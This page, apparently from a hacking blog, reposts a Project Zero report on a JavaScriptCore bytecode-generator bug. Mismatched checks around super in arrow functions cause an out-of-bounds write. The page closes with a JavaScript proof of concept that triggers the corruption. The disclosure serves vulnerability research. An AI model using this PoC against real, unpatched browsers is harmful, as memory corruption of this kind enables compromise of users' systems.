Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863537359

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1173

When a super expression is used in an arrow function, the following code, which generates bytecode, is called.

if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) {
    bool canReuseLexicalEnvironment = isSimpleParameterList;
    initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment);
    emitPutThisToArrowFunctionContextScope();
    emitPutNewTargetToArrowFunctionContextScope();
    emitPutDerivedConstructorToArrowFunctionContextScope();
}

Here's |emitPutDerivedConstructorToArrowFunctionContextScope|.

void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope()
{
    if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
        if (isSuperUsedInInnerArrowFunction()) {
            ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister);
            
            Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName());
            emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization);
        }
    }
}

|emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method.

void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment)
{
    ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister);

    if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) {
        ...
        if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) {
            offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary);
            functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset)));
        }
        ...
    }
    ...
}

But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent.

BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded:
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction())

BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope:
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
    if (isSuperUsedInInnerArrowFunction()) {

Note: " || m_codeBlock->isClassContext()".

So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write.

PoC:
*/

let args = new Array(0x10000);
args.fill();
args = args.map((_, i) => 'a' + i).join(', ');

let gun = eval(`(function () {
    class A {

    }

    class B extends A {
        constructor(${args}) {
            () => {
                ${args};
                super();
            };

            class C {
                constructor() {
                }

                trigger() {
                    (() => {
                        super.x;
                    })();
                }
            }

            return new C();
        }
    }

    return new B();
})()`);

for (let i = 0; i < 0x10000; i++)
    gun.trigger();